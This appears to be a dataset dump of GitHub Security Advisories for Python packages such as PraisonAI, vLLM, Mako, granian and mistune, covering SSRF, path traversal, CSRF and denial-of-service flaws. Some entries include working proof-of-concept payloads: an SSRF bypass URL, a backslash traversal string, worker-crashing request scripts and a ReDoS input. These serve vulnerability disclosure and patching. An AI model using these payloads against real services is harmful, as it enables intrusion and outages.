deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-j4rh-7jcr-qm69
Package: misp-modules (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: <= 3.0.7
Patched in: unpatched

Summary: misp-modules website - Missing CSRF protection in the website home blueprint

Details:
A Cross-Site Request Forgery vulnerability in the MISP Modules website allowed an attacker to cause an authenticated user to submit unintended requests to the home endpoint. The vulnerability was due to the home blueprint being exempted from CSRF protection. This could allow modification of session query data in the context of the authenticated user. The issue was fixed by enabling CSRF protection for the affected blueprint and hardening query parsing. As reported by Bilal Teke.
GitHub Security Advisory: GHSA-fhq3-2gf3-8f3j
Package: misp-modules (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-295: Improper Certificate Validation, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 3.0.7
Patched in: unpatched

Summary: misp-modules has nsafe remote resource fetching in expansion

Details:
An unsafe remote resource fetching vulnerability existed in MISP Modules expansion modules. The html_to_markdown module accepted arbitrary HTTP(S) URLs without sufficient validation, which could allow Server-Side Request Forgery against loopback, private, or link-local network resources. Additionally, the qrcode module disabled TLS certificate verification when retrieving remote images, exposing requests to potential man-in-the-middle interception or response tampering. The issue was fixed by validating URL schemes, blocking local and private address ranges, resolving hostnames before fetching, enforcing request timeouts, and re-enabling TLS certificate verification. As reported by Bilal Teke.
GitHub Security Advisory: GHSA-q9pw-vmhh-384g
Package: praisonaiagents (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.6.31
Patched in: 1.6.32

Summary: PraisonAI has an SSRF bypass

Details:
### Summary
The URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

### Details
The current PraisonAI project uses _validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

<img width="1290" height="1145" alt="QQ20[PII_REDACTED]56-24-1" src="https://github.com/user-attachments/assets/d5f16b74-5ad2-444f-8600-b05f78a4b769" />

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _validate_url for URL validation, and then using _get_session().get to send the request.

<img width="1143" height="740" alt="QQ20[PII_REDACTED]37-24-2" src="https://github.com/user-attachments/assets/b1bf6ec2-d32a-4dac-b814-da819e8d3c83" />

In reality, its underlying mechanism is requests.get.

<img width="1042" height="576" alt="QQ20[PII_REDACTED]45-24-3" src="https://github.com/user-attachments/assets/e17352c3-4205-44d6-ab6e[PII_REDACTED]5b" />

The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to:

- `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public)
- `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal)

Below is a test code I wrote following the code.

```
import sys
from pathlib import Path
from pprint import pprint

sys.path.insert(0, str(Path(r"D:/BaiduNetdiskDownload/PraisonAI-main/PraisonAI-main/src/praisonai-agents")))

from praisonaiagents.tools import spider_tools

# url = "http://127.0.0.1:6666\@1.1.1.1"
url = "http://127.0.0.1:6666"

result = spider_tools.scrape_page(url)

if isinstance(result, dict) and "error" in result:
    print("scrape failed:", result["error"])
else:
    pprint(result)
```
When an attacker uses `http://127.0.0.1:6666/`, the existing detection logic can detect that this is an internal network address and block it.

<img width="1068" height="128" alt="QQ20[PII_REDACTED]07-24-4" src="https://github.com/user-attachments/assets/294bff10-2af6-4960-bf69-dbf3340b1e9b" />

However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666`, bypassing the detection and achieving an SSRF attack.

<img width="2089" height="324" alt="QQ20[PII_REDACTED]23-24-5" src="https://github.com/user-attachments/assets/4421ce42-e47b-48de-a97a-56ce56a2bbc9" />

### PoC
```
http://127.0.0.1:6666\@1.1.1.1
```

### Impact
SSRF
GitHub Security Advisory: GHSA-54fq-v6x8-244g
Package: smolagents (PIP)
Severity: LOW (CVSS 6.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: <= 1.25.0.dev0
Patched in: unpatched

Summary: Hugging Face Smolagents has an Injection issue

Details:
A weakness has been identified in huggingface smolagents 1.25.0.dev0. This affects the function evaluate_augassign/evaluate_call/evaluate_with of the file src/smolagents/local_python_executor.py of the component Incomplete Fix CVE-2025-9959. This manipulation causes code injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-7mw3-79jq-xc7f
Package: aiograpi (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 0.6.6, < 0.7.2
Patched in: 0.7.2

Summary: aiograpi has dependency on vulnerable orjson 3.11.4 (CVE-2025-67221)

Details:
## Impact

aiograpi 0.6.6 / 0.7.0 / 0.7.1 declared `orjson==3.11.6` (and later `==3.11.8`) in `requirements.txt` but `setup.py` carried a hard-coded duplicate `requirements = [...]` list that was never updated and still pinned `orjson==3.11.4`.

When `setuptools` builds the source distribution it reads the metadata from `setup.py`, not from `requirements.txt`. So `pip install aiograpi==0.6.6` (or 0.7.0 / 0.7.1) actually pulls `orjson==3.11.4` — a version vulnerable to **CVE-2025-67221** (stack overflow in `orjson.dumps` on deeply nested JSON inputs).

## Practical exploitability

Low in the typical aiograpi flow: `orjson` is used to encode request bodies aiograpi itself constructs and to decode responses returned by Instagram. An attacker would need to coerce aiograpi to encode an attacker-controlled deeply-nested Python structure or to decode an attacker-supplied stream — not the normal call shape.

However any caller doing `client.public_request(...)` or similar with caller-controlled payloads, or any caller passing aiograpi-decoded `last_json` into recursive serialization, may hit the unbounded recursion. The patched orjson rejects deeply-nested inputs cleanly.

## Patches

Fixed in **aiograpi 0.7.2** by migrating to `pyproject.toml` (PEP 621) — single source of truth for dependencies. PyPI installs of 0.7.2 and later resolve `orjson==3.11.8` correctly.

## Workarounds

Force-install a non-vulnerable orjson alongside the affected aiograpi version:

```
pip install 'aiograpi==0.7.1' 'orjson>=3.11.6'
```

Or just upgrade to a fixed aiograpi:

```
pip install -U 'aiograpi>=0.7.2'
```

## Resources

- orjson CVE-2025-67221 advisory: https://github.com/ijl/orjson/security/advisories
- aiograpi 0.7.2 changelog (security section): https://github.com/subzeroid/aiograpi/blob/main/CHANGELOG.md#072--2026-04-27
GitHub Security Advisory: GHSA-pp6c-gr5w-3c5g
Package: python-multipart (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.0.27
Patched in: 0.0.27

Summary: python-multipart has Denial of Service via unbounded multipart part headers

Details:
### Summary

`python-multipart` has a denial of service vulnerability in multipart part header parsing. When parsing `multipart/form-data`, `MultipartParser` previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion.

### Impact

Applications that parse attacker-controlled `multipart/form-data` with affected versions of `python-multipart` can experience CPU exhaustion. ASGI applications using Starlette, FastAPI, or other frameworks that invoke `python-multipart` may have worker or event-loop delays while processing malicious upload requests.

### Details

The affected parser states are `HEADER_FIELD_START`, `HEADER_FIELD`, `HEADER_VALUE_START`, `HEADER_VALUE`, and `HEADER_VALUE_ALMOST_DONE`. The issue can be triggered by:

- A multipart part with an oversized individual header value.
- A multipart part with many repeated header lines or an unterminated header block.

Both variants are addressed by enforcing default parser limits for maximum header count and maximum header size.

### Mitigation

Upgrade to `python-multipart` `0.0.27` or later.

If upgrading is not immediately possible, reduce exposure by enforcing request body size limits at the server, proxy, or framework layer. This is only a mitigation; affected versions of `python-multipart` still parse multipart part headers without the default header count and header size limits.
GitHub Security Advisory: GHSA-83vm-p52w-f9pw
Package: vllm (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-131: Incorrect Calculation of Buffer Size, CWE-704: Incorrect Type Conversion or Cast
Vulnerable versions: >= 0.18.0, < 0.20.0
Patched in: 0.20.0

Summary: vLLM: extract_hidden_states speculative decoding crashes server on any request with penalty parameters

Details:
### Summary

The `extract_hidden_states` speculative decoding proposer in vLLM returns a tensor with an incorrect shape after the first decode step, causing a `RuntimeError` that crashes the EngineCore process. The crash is triggered when any request in the batch uses sampling penalty parameters (`repetition_penalty`, `frequency_penalty`, or `presence_penalty`).

A single request with a penalty parameter (e.g., `"repetition_penalty": 1.1`) is sufficient to crash the server. The crash is deterministic and immediate — no concurrency, race condition, or special workload is required.

### Details

In vLLM v0.17.0, the `extract_hidden_states` proposer's `propose()` method returned `sampled_token_ids.unsqueeze(-1)`, producing a tensor of shape `(batch_size, 1)`.

In [PR #37013](https://github.com/vllm-project/vllm/pull/37013) (first released in v0.18.0), the KV connector interface was refactored out of `propose()`. The return type changed from `tuple[Tensor, KVConnectorOutput | None]` to `Tensor`, and the `.unsqueeze(-1)` call was removed along with the KV connector output:

```python
# Before (v0.17.0):
return sampled_token_ids.unsqueeze(-1), kv_connector_output  # shape (batch_size, 1)

# After (v0.18.0+):
return sampled_token_ids  # shape (batch_size, 2) after first decode step
```

The refactor missed that `sampled_token_ids` changed semantics between the first and subsequent decode steps. After the first decode step, the rejection sampler allocates its output as `(batch_size, max_spec_len + 1)`. With `num_speculative_tokens=1`, this produces shape `(batch_size, 2)` instead of the expected `(batch_size, 1)`, causing a broadcast shape mismatch during penalty application.

### Impact

Any vLLM deployment between v0.18.0 and v0.19.1 (inclusive) configured with `extract_hidden_states` speculative decoding is affected. A single API request containing any penalty parameter immediately and permanently crashes the EngineCore process, resulting in complete loss of service availability.

### Patches

Fixed in [PR #38610](https://github.com/vllm-project/vllm/pull/38610), first included in vLLM v0.20.0. The fix slices the return value to `sampled_token_ids[:, :1]`, ensuring the correct `(batch_size, 1)` shape regardless of the rejection sampler's output dimensions.

### Workarounds

- Upgrade to vLLM v0.20.0 or later.
- If upgrading is not possible, avoid using `extract_hidden_states` as the speculative decoding method on affected versions.
- Alternatively, reject or strip penalty parameters (`repetition_penalty`, `frequency_penalty`, `presence_penalty`) from incoming requests at an API gateway before they reach vLLM.
GitHub Security Advisory: GHSA-2h4p-vjrc-8xpq
Package: Mako (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.3.11
Patched in: 1.3.12

Summary: Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup

Details:
## Summary

On Windows, a URI using backslash traversal (e.g. `\..\..\ secret.txt`) bypasses the directory traversal check in `Template.__init__` and the `posixpath`-based normalization in `TemplateLookup.get_template()`, allowing reads of files outside the configured template directory.


## Details

The root cause is a mismatch between `posixpath` (used for URI normalization in `get_template()`) and `os.path` (used for file access via `os.path.isfile()` and validation via `os.path.normpath()` in `Template.__init__`). On Windows, `os.path` is `ntpath`, which treats `\` as a path separator, while `posixpath` treats it as a literal character.

The vulnerability chain:

1. `get_template()` strips only leading `/` via `re.sub(r"^\/+", "", uri)` and normalizes with `posixpath` — backslash `\` is treated as a literal character, so `\..\ secret.txt` passes through with `..` undetected.
2. `Template.__init__()` validation uses `os.path.normpath()` — on Windows this resolves `\..\ secret.txt` to `\secret.txt`, which does not start with `..`, so the `startswith("..")` check passes.
3. `os.path.isfile()` on Windows interprets `\` as a path separator, resolving the `..` traversal and finding files outside the template directory.

### Affected code

- `mako/lookup.py`: `TemplateLookup.get_template()` uses `posixpath.normpath`/`posixpath.join` for path construction but `os.path.isfile()` for existence check
- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()` which on Windows resolves backslash traversal to a form that passes the `startswith("..")` guard

## Impact

If an application passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

## Remediation

The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.
GitHub Security Advisory: GHSA-f5p7-9fr5-8jmj
Package: granian (PIP)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-248: Uncaught Exception, CWE-755: Improper Handling of Exceptional Conditions
Vulnerable versions: >= 0.2.0, < 2.7.4
Patched in: 2.7.4

Summary: Granian vulnerable to DoS via WSGI response header panic

Details:
### Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses `.unwrap()` on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a `500` instead kill the worker process.

### Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, `.unwrap()` panics. In release builds Granian uses `panic = "abort"`, so the panic terminates the worker.


#### Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

- a header name containing a space
- a header value containing `\r\n`
- a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as `Location`, `Content Disposition`, or custom response headers.

### PoC

#### Step 1

start Granian with the PoC WSGI app

```python
# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

```

```bash
granian --interface wsgi app:app --host 127.0.0.1 --port 8000
```

#### Step 2

trigger the crash (any one of these is sufficient)

```bash
curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null
```


Expected result:

- the worker aborts after any of the crash paths
- subsequent requests fail until the worker is restarted


### Impact

- Worker process denial of service
- A single bad response kills one worker
- Application bugs become process crashes instead of request-scoped failures
GitHub Security Advisory: GHSA-vrg7-482j-p6f6
Package: granian (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-248: Uncaught Exception, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 1.2.0, < 2.7.4
Patched in: 2.7.4

Summary: Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic

Details:
### Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

### Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.

In release builds Granian sets `panic = "abort"`, so this panic terminates the worker instead of being handled as a normal request error.


### PoC

#### Step 1.
starts a Granian ASGI server

```python
# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
```

```bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000
```

#### Step 2.
sending a raw upgrade request with `Sec-WebSocket-Protocol: \x80\xff` reached this code path and caused the worker to abort.

```python
# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
```
```bash
python ws-subproto-crash.py 127.0.0.1 8000 /
```


Observed server output:

```
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
```


### Impact

- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
GitHub Security Advisory: GHSA-cf92-gfcw-6v53
Package: magic-wormhole (PIP)
Severity: LOW (CVSS 3.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: = 0.23.0
Patched in: 0.24.0

Summary: Magic Wormhole: receive, with --output pointing at an existing directory can be path-traversed

Details:
### Impact
A receiver who specifies "--output <dir>" where that output directory currently exists (as a directory).

### Patches
0.24.0 will contain the patch

### Workarounds
Ensure local target directories specified by "--output" do not already exist

### Resources
Private email and Signal communications from a user.
Magic Wormhole thanks  @marduc812
GitHub Security Advisory: GHSA-hjph-f4mc-wx4c
Package: mistune (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 3.0.0a1, <= 3.2.0
Patched in: 3.2.1

Summary: Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.

### Original Description

### Summary
**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.

**Function affected:** parse_link_title() in helpers.py
**Issue:** Malformed reference links cause excessive backtracking and parsing loops.
**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.

### Details
```
Name: mistune
Version: 3.2.0
Python version: Python 3.13.9
PIP version: pip 25.2
OS: Kali-linux-VERSION="2025.4"
```

### PoC
```
import mistune
import base64

print("Exploit started....!")
data = base64.b64decode(
    "WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg=="
)
mistune.html(data.decode("utf-8", errors="ignore"))
```

### Reproduce steps:
Simply execute above python script it will hang & increase cpu utilization to 100%

**Fuzzer Output (libFuzzer):**
```
ERROR: libFuzzer: timeout after 3 seconds
SUMMARY: libFuzzer: timeout
```

**Stack Trace (Excerpt):**
```
mistune/helpers.py:170 in parse_link_title
mistune/block_parser.py:259 in parse_ref_link
mistune/core.py:216 in parse_method
mistune/block_parser.py:458 in parse
mistune/markdown.py:93 in parse
mistune/markdown.py:120 in __call__
```
### IMAGE POC:
<img width="1194" height="728" alt="POC" src="https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077" />


### Impact:
Denial-of-Service (DoS)
High CPU usage and application hang
Potential for service unavailability in web apps or APIs processing untrusted Markdown

### Suggested Mitigations:
Implement parsing depth and iteration limits.
Limit reference-link title length.
Detects excessive escape character sequences.
Add defensive checks in parse_link_title.
Add fuzz regression tests using the provided PoC.

This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.